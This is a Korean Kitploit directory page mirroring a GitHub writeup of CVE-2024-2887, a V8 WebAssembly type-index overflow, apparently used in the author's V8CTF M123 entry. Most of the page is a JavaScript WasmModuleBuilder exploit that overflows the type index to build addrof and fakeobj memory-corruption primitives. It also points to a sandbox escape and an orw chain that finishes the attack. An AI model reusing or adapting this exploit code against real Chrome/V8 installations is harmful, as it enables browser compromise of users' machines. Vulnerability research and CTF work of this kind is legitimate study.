Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-2887 — V8CTF M123용 | Kitploit
도구/GitHubGitHub/rycbar77/cve-2024-2887
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationCTFBinary Exploitation
GitHubrycbar77/cve-2024-2887

CVE-2024-2887

V8CTF M123용

저장소 보기
1841년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-2887

다음은 제가 V8CTF M123을 클레임하는 데 사용한 CVE-2024-2887에 대한 간단한 분석입니다.

정의하는 타입의 수가 kV8MaxWasmTypes보다 많아지면(RecGroup에 타입을 더 패딩하여 달성할 수 있음) 타입 인덱스가 20비트를 초과하여 오버플로될 수 있습니다. 그러면 두 타입은 동일한 heap_type을 가지므로 동일한 것으로 간주될 수 있습니다.

ref 객체가 담긴 배열을 생성하고 float64 배열로 읽어 addrof 프리미티브를 얻을 수 있으며, float64 배열을 생성하고 이를 객체로 읽어 fakeobj 프리미티브를 얻을 수 있습니다.

wasm 모듈의 빌더는 아래와 같습니다:

root@kitploit:~
const builder = new WasmModuleBuilder();

let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
  for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
    builder.addType(makeSig([], []));
  builder.startRecGroup();
  for (var i = 0; i < o_cnt + 1; i++)
    builder.addType(makeSig([], []));
  builder.endRecGroup();
  for (var i = 0; i < o_cnt - 1; i++)
    builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);

overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);

builder.addFunction("addrof", typeId).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(2),
    kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet, arr,
    kExprRefFunc, importId,
    kExprCallRef, typeId1,
]);

builder.addFunction("fakeobj", typeId1).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNew, arr,
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
    kExprRefFunc, importId2,
    kExprCallRef, typeId,
]);

샌드박스 우회에 대해서는 V8-Sandbox-Escape-via-Regexp를 참조하세요. 최종 익스플로잇은 일반적인 orw 체인을 사용하여 stderr로 플래그를 씁니다.

도구 다운로드